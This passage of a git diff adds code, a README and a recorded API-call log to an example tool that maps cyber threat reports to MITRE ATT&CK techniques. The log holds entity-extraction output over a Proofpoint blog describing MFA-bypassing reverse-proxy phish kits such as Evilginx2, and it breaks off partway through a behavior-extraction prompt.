+ "rationale": decision.rationale, + "candidates": [candidate.to_dict() for candidate in decision.candidates], + "verifier_model": decision.verifier_model, + "escalated": decision.escalated, + } + document_predictions.append(row) + predictions.extend(document_predictions) + write_json( + report_artifacts / f"{document}.json", + { + "document": document, + "sha256": report_sha256[document], + "characters": len(reports[document]), + "entities": entities_by_document[document], + "behaviors": [row.to_dict() for row in behaviors], + "predictions": document_predictions, + }, + ) + _write_jsonl(staging / "predictions.jsonl", predictions) + write_json(staging / "api-calls.json", calls) + + evaluation = evaluate_full_report_predictions( + predictions, + gold_mentions, + reports, + excluded_documents=excluded_documents, + suggestion_annotated_span_precision_gate=float( + config["evaluation"]["suggestion_annotated_span_precision_gate"] + ), + report_pair_behavior_recall_gate=float(config["evaluation"]["report_pair_behavior_recall_gate"]), + report_pair_family_conditional_finalist_recall_gate=float( + config["evaluation"]["report_pair_family_conditional_finalist_recall_gate"] + ), + dense_pool_count=int(config["retrieval"]["dense_pool_count"]), + late_interaction_pool_count=int(config["retrieval"]["late_interaction_pool_count"]), + exemplar_pool_count=int(config["retrieval"]["exemplar_pool_count"]), + ) + write_json(staging / "evaluation.json", evaluation) + write_json(staging / "gold-mentions.json", [row.to_dict() for row in gold_mentions]) + preserve_artifacts = True + manifest = { + "created_at": datetime.now(UTC).isoformat(), + "endpoint": config["cluster"]["url"], + "models": config["models"], + "model_revisions": config["model_revisions"], + "rate_book_provenance": _rate_book_provenance(calls), + "pipeline_stage": "full_report_end_to_end", + "dataset": { + "name": "AnnoCTR", + "split": split, + "commit": config["sources"]["annoctr"]["commit"], + "archive_sha256": sha256(sources["annoctr_archive"]), + "documents": len(report_paths), + "selection": "documents sorted by source filename after the frozen exclusions", + "excluded_documents": sorted(excluded_documents), + "active_gold_mentions": len(gold_mentions), + "historical_gold_mentions_outside_catalog": len(excluded_gold), + "training_examples": len(training_examples), + "training_split": "train", + }, + "taxonomy": { + "name": "AnnoCTR bundled MITRE ATT&CK entity catalog", + "version": "historical snapshot distributed with AnnoCTR", + "commit": config["sources"]["annoctr"]["commit"], + "sha256": sha256(catalog_path), + "techniques": len(techniques), + }, + "evaluation_contract": { + "prediction_unit": "one ATT&CK technique suggestion per report with at least one exact cited span", + "match": "same report and technique ID with at least one overlapping cited span", + "implicit_annotation_class": "CI", + "precision_denominator": "unique supported report-technique pairs", + "gates": evaluation["gates"], + }, + "decision_boundary": ( + "The agent produces source-backed ATT&CK suggestions. A human analyst accepts or rejects each mapping." + ), + "artifacts": _artifact_rows(staging), + } + write_json(staging / "manifest.json", manifest) + staging.rename(final_dir) + except BaseException as exc: + if preserve_artifacts: + with contextlib.suppress(OSError, TypeError, ValueError): + write_json(staging / "api-calls.json", calls) + if predictions: + with contextlib.suppress(OSError, TypeError, ValueError): + _write_jsonl(staging / "predictions.jsonl", predictions) + _publish_failed_run(final_dir, staging, exc) + else: + shutil.rmtree(staging, ignore_errors=True) + raise + finally: + with contextlib.suppress(OSError): + reservation.rmdir() + return final_dir diff --git a/examples/threat-report-attck-mapper/threat_mapper/sie.py b/examples/threat-report-attck-mapper/threat_mapper/sie.py index 27cd04203..df0a315a6 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/sie.py +++ b/examples/threat-report-attck-mapper/threat_mapper/sie.py @@ -44,6 +44,22 @@ def dense_vector(result: Any) -> np.ndarray: return vector / norm +def multivector(result: Any) -> np.ndarray: + value = jsonable(result) + rows: Any = value.get("multivector") if isinstance(value, dict) else None + if isinstance(rows, dict): + rows = rows.get("values") or rows.get("vector") + if not isinstance(rows, list) or not rows: + raise TypeError("Embedding response has no multivector") + vector = np.asarray(rows, dtype=np.float32) + if vector.ndim != 2 or vector.shape[0] == 0 or vector.shape[1] == 0: + raise TypeError("Embedding response multivector must be a non-empty matrix") + norms = np.linalg.norm(vector, axis=1, keepdims=True) + if np.any(norms == 0): + raise ValueError("Embedding response has a zero-length token vector") + return vector / norms + + def request_record( stage: str, requested_model: str, @@ -70,6 +86,30 @@ def request_record( } +def traced_request_record( + stage: str, + requested_model: str, + response: Any, + latency_ms: float, + *, + function: str, + request_payload: dict[str, Any], +) -> dict[str, Any]: + """Keep the exact non-vector request and response beside its billing metadata.""" + + return { + **request_record( + stage, + requested_model, + response, + latency_ms, + function=function, + ), + "request_payload": jsonable(request_payload), + "raw_response": jsonable(response), + } + + def encode_texts( client: SIEClientProtocol, model: str, @@ -117,6 +157,47 @@ def encode_texts( return np.stack(vectors), calls +def encode_multivectors( + client: SIEClientProtocol, + model: str, + texts: list[str], + *, + is_query: bool, + batch_size: int, + provision_timeout_s: float, + stage: str, +) -> tuple[list[np.ndarray], list[dict[str, Any]]]: + vectors: list[np.ndarray] = [] + calls: list[dict[str, Any]] = [] + for offset in range(0, len(texts), batch_size): + batch = texts[offset : offset + batch_size] + items = [Item(id=f"{stage}-{offset + index}", text=text) for index, text in enumerate(batch)] + started = time.perf_counter() + response = client.encode( + model, + items, + output_types=["multivector"], + is_query=is_query, + wait_for_capacity=True, + provision_timeout_s=provision_timeout_s, + ) + elapsed = (time.perf_counter() - started) * 1000 + responses = response if isinstance(response, list) else [response] + if len(responses) != len(items): + raise RuntimeError(f"Embedding batch returned {len(responses)} rows for {len(items)} inputs") + vectors.extend(multivector(row) for row in responses) + calls.append( + request_record( + f"{stage}_{offset // batch_size}", + model, + responses[0], + elapsed, + function="encode", + ) + ) + return vectors, calls + + def parse_generated_json(response: Any) -> dict[str, Any]: payload = jsonable(response) text = payload.get("text") if isinstance(payload, dict) else None diff --git a/examples/threat-report-attck-mapper/verified-run/README.md b/examples/threat-report-attck-mapper/verified-run/README.md new file mode 100644 index 000000000..914078b49 --- /dev/null +++ b/examples/threat-report-attck-mapper/verified-run/README.md @@ -0,0 +1,14 @@ +# Verified Proofpoint run + +This directory records the August 21, 2026 run of `attck-map demo` against the +pinned Proofpoint report. + +- `parsed-report.md` is the complete AnnoCTR report text consumed by the agent. +- `api-calls.json` keeps each SIE request and raw response. +- `review.json` keeps all extracted behaviors, candidate ledgers, and routing + decisions. +- `manifest.json` pins the source, taxonomy, model revisions, and artifact + checksums. + +The three compressed vector files total 85 MB and are omitted from Git. Their +hashes remain in `manifest.json`; rerunning the command rebuilds them. diff --git a/examples/threat-report-attck-mapper/verified-run/api-calls.json b/examples/threat-report-attck-mapper/verified-run/api-calls.json new file mode 100644 index 000000000..3456f0f5a --- /dev/null +++ b/examples/threat-report-attck-mapper/verified-run/api-calls.json @@ -0,0 +1,21147 @@ +[ + { + "stage": "document_entities_0", + "function": "extract", + "requested_model": "fastino/gliner2-large-v1", + "runtime_model": "fastino/gliner2-large-v1", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 16394.1, + "request_payload": { + "item": { + "id": "report-0", + "text": "MFA PSA, Oh My!\nFebruary 03, 2022\n### Key Takeaways\n* As multi-factor authentication becomes a standard security practice, phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security.\n* Threat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time.\n* It is likely that more threat actors will turn to these MitM phish kits, making security increasingly difficult for defenders.\n### Overview\nSince the inclusion of the first password in the [Compatible Time-Sharing System](https://en.wikipedia.org/wiki/Password#History) at MIT in 1961, people have been cognizant of information security.\nWhile multi-factor authentication (MFA) did not enter the scene until years later in 1986 with the first RSA tokens, it has recently seen widespread adoption in the consumer space.\nAccording to MFA digital authenticator company Duo's annual [State of the Auth Report](https://duo.com/blog/the-2021-state-of-the-auth-report-2fa-climbs-password-managers-biometrics-trend) 78% of respondents have used two/multi-factor authentication (2FA/MFA) in 2021 compared to just 28% in 2017.\nWhile many companies like Duo and RSA have helped make MFA more ubiquitous and user-friendly, threat actors have not been resting on their laurels, choosing to target MFA as well as looking for ways to bypass MFA with evolving phishing kits.\n![Duo State of the Auth Report 2021 shows increase in MFA usage.](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.17.28%20AM.png)\n*Figure 1. Duo State of the Auth Report 2021 shows increase in MFA usage.*\n### MFA Phishing Kit Evolution\nPhishing kits are software developed to aid threat actors in harvesting credentials and quickly capitalizing on them.\nOften installed on a dedicated server owned by the threat actor or covertly installed on a compromised server owned by an unlucky indiv" + }, + "labels": [ + "threat actor", + "malware", + "software tool", + "vulnerability", + "credential", + "authentication token", + "network protocol", + "command or script", + "cloud service", + "organization", + "infrastructure", + "target system" + ] + }, + "raw_response": { + "entities": [ + { + "text": "reverse proxy", + "label": "network protocol", + "score": 0.78076171875, + "start": 290, + "end": 303, + "bbox": null + }, + { + "text": "credentials", + "label": "credential", + "score": 0.97607421875, + "start": 380, + "end": 391, + "bbox": null + }, + { + "text": "session cookies", + "label": "credential", + "score": 0.830078125, + "start": 396, + "end": 411, + "bbox": null + }, + { + "text": "phish kits", + "label": "threat actor", + "score": 0.92578125, + "start": 489, + "end": 499, + "bbox": null + }, + { + "text": "MIT", + "label": "organization", + "score": 0.72021484375, + "start": 701, + "end": 704, + "bbox": null + }, + { + "text": "RSA tokens", + "label": "authentication token", + "score": 0.9296875, + "start": 871, + "end": 881, + "bbox": null + }, + { + "text": "Duo", + "label": "organization", + "score": 0.85498046875, + "start": 1271, + "end": 1274, + "bbox": null + }, + { + "text": "phishing kits", + "label": "threat actor", + "score": 0.7421875, + "start": 1472, + "end": 1485, + "bbox": null + }, + { + "text": "Phishing kits", + "label": "software tool", + "score": 0.548828125, + "start": 1747, + "end": 1760, + "bbox": null + }, + { + "text": "threat actors", + "label": "threat actor", + "score": 0.6767578125, + "start": 1791, + "end": 1804, + "bbox": null + }, + { + "text": "dedicated server", + "label": "infrastructure", + "score": 0.78857421875, + "start": 1886, + "end": 1902, + "bbox": null + }, + { + "text": "compromised server", + "label": "infrastructure", + "score": 0.71533203125, + "start": 1956, + "end": 1974, + "bbox": null + } + ], + "relations": [], + "classifications": [], + "objects": [], + "id": "report-0", + "model": "fastino/gliner2-large-v1" + } + }, + { + "stage": "document_entities_1", + "function": "extract", + "requested_model": "fastino/gliner2-large-v1", + "runtime_model": "fastino/gliner2-large-v1", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 149.0, + "request_payload": { + "item": { + "id": "report-1", + "text": "t%202022-02-01%20at%2011.17.28%20AM.png)\n*Figure 1. Duo State of the Auth Report 2021 shows increase in MFA usage.*\n### MFA Phishing Kit Evolution\nPhishing kits are software developed to aid threat actors in harvesting credentials and quickly capitalizing on them.\nOften installed on a dedicated server owned by the threat actor or covertly installed on a compromised server owned by an unlucky individual, many of these kits can be purchased for [less than a cup of coffee](/us/blog/threat-insight/have-money-latte-then-you-too-can-buy-phish-kit \"Have Money for a Latte.\nThen You Too Can Buy a Phish Kit\").\nProofpoint threat researchers see numerous MFA phishing kits ranging from simple open-source kits with human readable code and no-frills functionality to sophisticated kits utilizing numerous layers of obfuscation and built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers.\nAt their core these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords.\n![Simple phishing kit utilizing an open directory ](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.05%20AM.png)\n*Figure 2. Simple phishing kit utilizing an open directory with credentials stored on the same webserver as the kit.*\nIn recent years, Proofpoint researchers have observed the emergence of a new type of kit that does not rely on recreating a target website.\nInstead, these kits use a [transparent reverse proxy](https://en.wikipedia.org/wiki/Reverse_proxy#:~:text=In%20computer%20networks%2C%20a%20reverse,mainly%20used%20to%20balance%20load. to present the actual website to the victim.\nModern web pages are dynamic and change frequently.\nTherefore, presenting the actual site instead of a facsimile greatly enhances the illusion an individual is logging in safely.\nAnother advantage of the reverse proxy is that it allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie.\n![MitM Transparent Reverse Proxy](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.29%20AM.png)\n*Figure 3. MitM Transparent Reverse Proxy.*\nThe session cookie (see Figure 4) can then be used by the threat actor to gain access to the targeted account without the need" + }, + "labels": [ + "threat actor", + "malware", + "software tool", + "vulnerability", + "credential", + "authentication token", + "network protocol", + "command or script", + "cloud service", + "organization", + "infrastructure", + "target system" + ] + }, + "raw_response": { + "entities": [ + { + "text": "Phishing kits", + "label": "software tool", + "score": 0.61474609375, + "start": 147, + "end": 160, + "bbox": null + }, + { + "text": "dedicated server", + "label": "infrastructure", + "score": 0.73974609375, + "start": 286, + "end": 302, + "bbox": null + }, + { + "text": "Proofpoint threat researchers", + "label": "organization", + "score": 0.73291015625, + "start": 608, + "end": 637, + "bbox": null + }, + { + "text": "open-source kits", + "label": "software tool", + "score": 0.5390625, + "start": 689, + "end": 705, + "bbox": null + }, + { + "text": "usernames", + "label": "credential", + "score": 0.98681640625, + "start": 867, + "end": 876, + "bbox": null + }, + { + "text": "passwords", + "label": "credential", + "score": 0.9873046875, + "start": 878, + "end": 887, + "bbox": null + }, + { + "text": "MFA tokens", + "label": "authentication token", + "score": 0.8818359375, + "start": 889, + "end": 899, + "bbox": null + }, + { + "text": "social security numbers", + "label": "credential", + "score": 0.96484375, + "start": 901, + "end": 924, + "bbox": null + }, + { + "text": "credit card numbers", + "label": "credential", + "score": 0.9833984375, + "start": 929, + "end": 948, + "bbox": null + }, + { + "text": "credentials", + "label": "credential", + "score": 0.57763671875, + "start": 1301, + "end": 1312, + "bbox": null + }, + { + "text": "reverse proxy", + "label": "network protocol", + "score": 0.6640625, + "start": 1534, + "end": 1547, + "bbox": null + }, + { + "text": "session cookie", + "label": "credential", + "score": 0.7763671875, + "start": 2092, + "end": 2106, + "bbox": null + }, + { + "text": "Transparent Reverse Proxy", + "label": "network protocol", + "score": 0.7939453125, + "start": 2115, + "end": 2140, + "bbox": null + }, + { + "text": "threat actor", + "label": "threat actor", + "score": 0.541015625, + "start": 2332, + "end": 2344, + "bbox": null + } + ], + "relations": [], + "classifications": [], + "objects": [], + "id": "report-1", + "model": "fastino/gliner2-large-v1" + } + }, + { + "stage": "document_entities_2", + "function": "extract", + "requested_model": "fastino/gliner2-large-v1", + "runtime_model": "fastino/gliner2-large-v1", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 104.1, + "request_payload": { + "item": { + "id": "report-2", + "text": "MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie.\n![MitM Transparent Reverse Proxy](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.29%20AM.png)\n*Figure 3. MitM Transparent Reverse Proxy.*\nThe session cookie (see Figure 4) can then be used by the threat actor to gain access to the targeted account without the need for a username, password, or MFA token.\n![Evilginx2 LinkedIn session cookie example](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.50%20AM.png)\n*Figure 4. Evilginx2 LinkedIn session cookie example.*\nProofpoint researchers have noted a small increase in the use of these phish kits and anticipate greater adoption by threat actors as MFA forces them to adapt.\nSpecifically, Proofpoint has noted three transparent reverse proxy kits emerging on the scene.\n### Reverse Proxy Phish Kits\nModlishka: A Polish security researcher Piotr Duszyński developed Modliska and released it in December 2018 on github.com.\nThis relatively simple tool allows phishing one site at a time, sports a command line interface, and provides the threat actor with a handy GUI to retrieve the credentials and session information (see Figure 5).\nModlishka also integrates Let’s Encrypt so it can make the fake domain landing page just a bit more believable by encrypting the traffic and providing the little padlock in the web bar.\nWhile Modlishka may not be as advanced as the other two kits discussed later in this blog, it is still capable of harvesting a victim’s session even when tech like Duo’s push notification [authenticator is used](https://commons.lib.jmu.edu/cgi/viewcontent.cgi?article=1004&context=masters202029).\n![Modliska graphical user interface (GUI).](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.20.07%20AM.png)\n*Figure 5. Modliska graphical user interface (GUI).*\nMuraena/Necrobrowser: Muraena/Necrobrowser is a two-part tool for phishing session cookies, credentials, and much more.\nCreated in 2019 by Giuseppe Trotta and Michele Orrù, Muraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim.\nOnce the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser.\nNecrobrowser is a headless browser, which " + }, + "labels": [ + "threat actor", + "malware", + "software tool", + "vulnerability", + "credential", + "authentication token", + "network protocol", + "command or script", + "cloud service", + "organization", + "infrastructure", + "target system" + ] + }, + "raw_response": { + "entities": [ + { + "text": "usernames", + "label": "credential", + "score": 0.85400390625, + "start": 41, + "end": 50, + "bbox": null + }, + { + "text": "passwords", + "label": "credential", + "score": 0.81591796875, + "start": 55, + "end": 64, + "bbox": null + }, + { + "text": "session cookie", + "label": "network protocol", + "score": 0.546875, + "start": 92, + "end": 106, + "bbox": null + }, + { + "text": "username", + "label": "credential", + "score": 0.85595703125, + "start": 407, + "end": 415, + "bbox": null + }, + { + "text": "password", + "label": "credential", + "score": 0.6611328125, + "start": 417, + "end": 425, + "bbox": null + }, + { + "text": "MFA token", + "label": "authentication token", + "score": 0.744140625, + "start": 430, + "end": 439, + "bbox": null + }, + { + "text": "phish kits", + "label": "threat actor", + "score": 0.90087890625, + "start": 700, + "end": 710, + "bbox": null + }, + { + "text": "threat actors", + "label": "threat actor", + "score": 0.53173828125, + "start": 746, + "end": 759, + "bbox": null + }, + { + "text": "Proofpoint", + "label": "organization", + "score": 0.796875, + "start": 803, + "end": 813, + "bbox": null + }, + { + "text": "command line interface", + "label": "command or script", + "score": 0.51025390625, + "start": 1109, + "end": 1131, + "bbox": null + }, + { + "text": "credentials", + "label": "credential", + "score": 0.8330078125, + "start": 1196, + "end": 1207, + "bbox": null + }, + { + "text": "traffic", + "label": "network protocol", + "score": 0.61767578125, + "start": 1377, + "end": 1384, + "bbox": null + }, + { + "text": "Modlishka", + "label": "software tool", + "score": 0.91748046875, + "start": 1440, + "end": 1449, + "bbox": null + }, + { + "text": "Duo", + "label": "cloud service", + "score": 0.58642578125, + "start": 1598, + "end": 1601, + "bbox": null + }, + { + "text": "authenticator", + "label": "authentication token", + "score": 0.5419921875, + "start": 1623, + "end": 1636, + "bbox": null + }, + { + "text": "Modliska", + "label": "software tool", + "score": 0.91748046875, + "start": 1733, + "end": 1741, + "bbox": null + }, + { + "text": "GUI", + "label": "software tool", + "score": 0.625, + "start": 1768, + "end": 1771, + "bbox": null + }, + { + "text": "Muraena/Necrobrowser", + "label": "software tool", + "score": 0.845703125, + "start": 1938, + "end": 1958, + "bbox": null + }, + { + "text": "server-side", + "label": "infrastructure", + "score": 0.515625, + "start": 2102, + "end": 2113, + "bbox": null + }, + { + "text": "crawler", + "label": "software tool", + "score": 0.53369140625, + "start": 2125, + "end": 2132, + "bbox": null + }, + { + "text": "Necrobrowser", + "label": "software tool", + "score": 0.80126953125, + "start": 2358, + "end": 2370, + "bbox": null + } + ], + "relations": [], + "classifications": [], + "objects": [], + "id": "report-2", + "model": "fastino/gliner2-large-v1" + } + }, + { + "stage": "document_entities_3", + "function": "extract", + "requested_model": "fastino/gliner2-large-v1", + "runtime_model": "fastino/gliner2-large-v1", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 224.9, + "request_payload": { + "item": { + "id": "report-3", + "text": "ookies, credentials, and much more.\nCreated in 2019 by Giuseppe Trotta and Michele Orrù, Muraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim.\nOnce the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser.\nNecrobrowser is a headless browser, which is a browser without a graphical user interface used for automation, that leverages the stolen session cookies to log into the target site and do things such as change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories.\nEvilginx2: Evilginx2 is an easy to use, transparent reverse proxy written in Golang by security researcher and developer Kuba Gretzky (Figure 6).\nThis is a popular tool for both red teams and threat actors as it is easy to setup and configure using its proprietary “phishlets.\nPhishlets are [yaml](https://en.wikipedia.org/wiki/YAML) configuration files the engine uses to configure the proxy to the target site.\nUtilizing these “phishlets,” you can configure the server to phish multiple brands at once.\nEvilginx2 allows you to configure a custom subdomain and landing page URL for each as well.\nThe kit comes with several pre-installed “phishlets,” but more can be created and added easily.\nOnce a victim clicks on the malicious link, they are taken to a secure page with assets being displayed exactly how they are on the target site.\nAfter they log in, the credentials, including MFA codes, and session cookie are sent to the server in real-time and the victim is either redirected to a different page or allowed to continue through to the page.\nThe threat actor is then able to use the stolen session cookie to log in as the victim where they can take multiple actions like changing the password, copying data, or pretending to be the victim.\n![Evilginx2 command line console](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.21.39%20AM.png)\n*Figure 6. Evilginx2 command line console.*\n### Outlook\nMost of these kits have been around for years so why the renewed interest.\nIn their [recent paper](https://catching-transparent-phish.github.io/catching_transparent_phish.pdf), researchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep d" + }, + "labels": [ + "threat actor", + "malware", + "software tool", + "vulnerability", + "credential", + "authentication token", + "network protocol", + "command or script", + "cloud service", + "organization", + "infrastructure", + "target system" + ] + }, + "raw_response": { + "entities": [ + { + "text": "Muraena", + "label": "software tool", + "score": 0.83544921875, + "start": 89, + "end": 96, + "bbox": null + }, + { + "text": "Necrobrowser", + "label": "software tool", + "score": 0.97216796875, + "start": 358, + "end": 370, + "bbox": null + }, + { + "text": "SSH session keys", + "label": "authentication token", + "score": 0.5185546875, + "start": 639, + "end": 655, + "bbox": null + }, + { + "text": "SSH", + "label": "network protocol", + "score": 0.66455078125, + "start": 639, + "end": 642, + "bbox": null + }, + { + "text": "red teams", + "label": "threat actor", + "score": 0.63623046875, + "start": 881, + "end": 890, + "bbox": null + }, + { + "text": "Phishlets", + "label": "software tool", + "score": 0.85107421875, + "start": 980, + "end": 989, + "bbox": null + }, + { + "text": "server", + "label": "infrastructure", + "score": 0.73974609375, + "start": 1167, + "end": 1173, + "bbox": null + }, + { + "text": "subdomain", + "label": "network protocol", + "score": 0.68359375, + "start": 1251, + "end": 1260, + "bbox": null + }, + { + "text": "MFA codes", + "label": "authentication token", + "score": 0.62060546875, + "start": 1587, + "end": 1596, + "bbox": null + }, + { + "text": "session cookie", + "label": "credential", + "score": 0.8955078125, + "start": 1801, + "end": 1815, + "bbox": null + }, + { + "text": "password", + "label": "credential", + "score": 0.5322265625, + "start": 1895, + "end": 1903, + "bbox": null + }, + { + "text": "Evilginx2", + "label": "software tool", + "score": 0.97265625, + "start": 1953, + "end": 1962, + "bbox": null + }, + { + "text": "Stony Brook University", + "label": "organization", + "score": 0.9111328125, + "start": 2323, + "end": 2345, + "bbox": null + }, + { + "text": "Palo Alto Networks", + "label": "organization", + "score": 0.94091796875, + "start": 2350, + "end": 2368, + "bbox": null + } + ], + "relations": [], + "classifications": [], + "objects": [], + "id": "report-3", + "model": "fastino/gliner2-large-v1" + } + }, + { + "stage": "document_entities_4", + "function": "extract", + "requested_model": "fastino/gliner2-large-v1", + "runtime_model": "fastino/gliner2-large-v1", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 24.8, + "request_payload": { + "item": { + "id": "report-4", + "text": "files/inline-images/Screen%20Shot%202022-02-01%20at%2011.21.39%20AM.png)\n*Figure 6. Evilginx2 command line console.*\n### Outlook\nMost of these kits have been around for years so why the renewed interest.\nIn their [recent paper](https://catching-transparent-phish.github.io/catching_transparent_phish.pdf), researchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep dive into MitM phishing kits and discovered that MitM phishing pages represent an industry blind spot.\nThe researchers developed a machine learning tool called Phoca to scan suspected phishing pages and try to determine if they were using a transparent reverse proxy to MitM credentials.\nThey were able to identify over 1200 MitM phishing sites.\nOf those 1200+ sites only 43.7% of domains and 18.9% of IP addresses appeared on popular blocklists like VirusTotal.\nIn addition to this, they found that standard phishing sites had a lifespan of just under 24 hours whereas MitM phishing sites lasted longer, and 15% had a lifespan greater than 20 days.\nAs recently as the end of January 2021, Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours.\n![MitM O365 page.](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.22.38%20AM.png)\n*Figure 7. MitM O365 page.(domain redacted as without the full path it redirects to NSFW content)*\nIn May 2021, Google discussed in a [blog post](https://blog.google/technology/safety-security/a-simpler-and-safer-future-without-passwords/) that they would soon start to require MFA when logging into a Google account sometime in late 2021 or early 2022 (it would still be optional for Google Workspace customers).\nWe are now in 2022, the pandemic still rages, many workers are still working from home, and many may not return to the office.\nAs more companies follow Google’s lead and start requiring MFA, threat actors will rapidly move to solutions like these MitM kits.\nThey are easy to deploy, free to use, and have proven effective at evading detection.\nThe industry needs to prepare to deal with blind spots like these before they can evolve in new unexpected directions." + }, + "labels": [ + "threat actor", + "malware", + "software tool", + "vulnerability", + "credential", + "authentication token", + "network protocol", + "command or script", + "cloud service", + "organization", + "infrastructure", + "target system" + ] + }, + "raw_response": { + "entities": [ + { + "text": "Stony Brook University", + "label": "organization", + "score": 0.93603515625, + "start": 323, + "end": 345, + "bbox": null + }, + { + "text": "Palo Alto Networks", + "label": "organization", + "score": 0.95703125, + "start": 350, + "end": 368, + "bbox": null + }, + { + "text": "Phoca", + "label": "software tool", + "score": 0.63134765625, + "start": 559, + "end": 564, + "bbox": null + }, + { + "text": "MitM credentials", + "label": "credential", + "score": 0.728515625, + "start": 669, + "end": 685, + "bbox": null + }, + { + "text": "IP addresses", + "label": "network protocol", + "score": 0.83447265625, + "start": 801, + "end": 813, + "bbox": null + }, + { + "text": "Proofpoint", + "label": "organization", + "score": 0.861328125, + "start": 1089, + "end": 1099, + "bbox": null + }, + { + "text": "Google account", + "label": "cloud service", + "score": 0.5771484375, + "start": 1598, + "end": 1612, + "bbox": null + }, + { + "text": "Google", + "label": "organization", + "score": 0.96435546875, + "start": 1681, + "end": 1687, + "bbox": null + }, + { + "text": "pandemic", + "label": "vulnerability", + "score": 0.58935546875, + "start": 1734, + "end": 1742, + "bbox": null + }, + { + "text": "threat actors", + "label": "threat actor", + "score": 0.85693359375, + "start": 1901, + "end": 1914, + "bbox": null + } + ], + "relations": [], + "classifications": [], + "objects": [], + "id": "report-4", + "model": "fastino/gliner2-large-v1" + } + }, + { + "stage": "behavior_extract_0", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 253320.6, + "request_payload": { + "prompt": "You review a cyber threat report. Extract atomic technical behaviors that can map to MITRE ATT&CK Enterprise. Create a separate row for every distinct action. A compound sentence that says malware steals credentials, records the screen, and downloads another payload needs separate rows with the shortest exact source clause for each action. Include observed activity and stated malware or tool capabilities. Exclude sales, advertising, prices, possession claims, marketplace roles, and generic criminal activity unless the same clause states the technical action used against a system, account, network, or data. Use observed when the report says an attacker or malware performed the action. Use capability when a tool can perform it. Use background for historical adversary activity. Use defensive only for an action performed or recommended by a defender, such as blocking, patching, detection, or incident response. Malware evasion is adversary activity. Skip headings, image captions, predictions, and generic security prose. Copy one exact, self-contained quote for each behavior. Keep enough words to identify the actor, action, object, tool, and target when the report states them. Use an empty string for a missing event field. Return compact JSON on one line, with no indentation or whitespace outside string values. Return at most 24 behaviors from this chunk. Entity anchors are hints, not requirements.\n\nENTITY ANCHORS\n- network protocol: reverse proxy\n- credential: credentials\n- credential: session cookies\n- threat actor: phish kits\n- organization: MIT\n- authentication token: RSA tokens\n- organization: Duo\n- threat actor: phishing kits\n- software tool: Phishing kits\n- threat actor: threat actors\n- infrastructure: dedicated server\n- infrastructure: compromised server\n- organization: Proofpoint threat researchers\n- software tool: open-source kits\n- credential: usernames\n- credential: passwords\n- authentication token: MFA tokens\n- credential: social security numbers\n- credential: credit card numbers\n- credential: credentials\n- network protocol: reverse proxy\n- credential: usernames\n- credential: passwords\n- credential: session cookie\n- network protocol: session cookie\n- network protocol: Transparent Reverse Proxy\n- threat actor: threat actor\n- credential: username\n- credential: password\n- authentication token: MFA token\n- threat actor: phish kits\n- threat actor: threat actors\n- organization: Proofpoint\n\nREPORT CHUNK\nMFA PSA, Oh My!\nFebruary 03, 2022\n### Key Takeaways\n* As multi-factor authentication becomes a standard security practice, phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security.\n* Threat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time.\n* It is likely that more threat actors will turn to these MitM phish kits, making security increasingly difficult for defenders.\n### Overview\nSince the inclusion of the first password in the [Compatible Time-Sharing System](https://en.wikipedia.org/wiki/Password#History) at MIT in 1961, people have been cognizant of information security.\nWhile multi-factor authentication (MFA) did not enter the scene until years later in 1986 with the first RSA tokens, it has recently seen widespread adoption in the consumer space.\nAccording to MFA digital authenticator company Duo's annual [State of the Auth Report](https://duo.com/blog/the-2021-state-of-the-auth-report-2fa-climbs-password-managers-biometrics-trend) 78% of respondents have used two/multi-factor authentication (2FA/MFA) in 2021 compared to just 28% in 2017.\nWhile many companies like Duo and RSA have helped make MFA more ubiquitous and user-friendly, threat actors have not been resting on their laurels, choosing to target MFA as well as looking for ways to bypass MFA with evolving phishing kits.\n![Duo State of the Auth Report 2021 shows increase in MFA usage.](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.17.28%20AM.png)\n*Figure 1. Duo State of the Auth Report 2021 shows increase in MFA usage.*\n### MFA Phishing Kit Evolution\nPhishing kits are software developed to aid threat actors in harvesting credentials and quickly capitalizing on them.\nOften installed on a dedicated server owned by the threat actor or covertly installed on a compromised server owned by an unlucky individual, many of these kits can be purchased for [less than a cup of 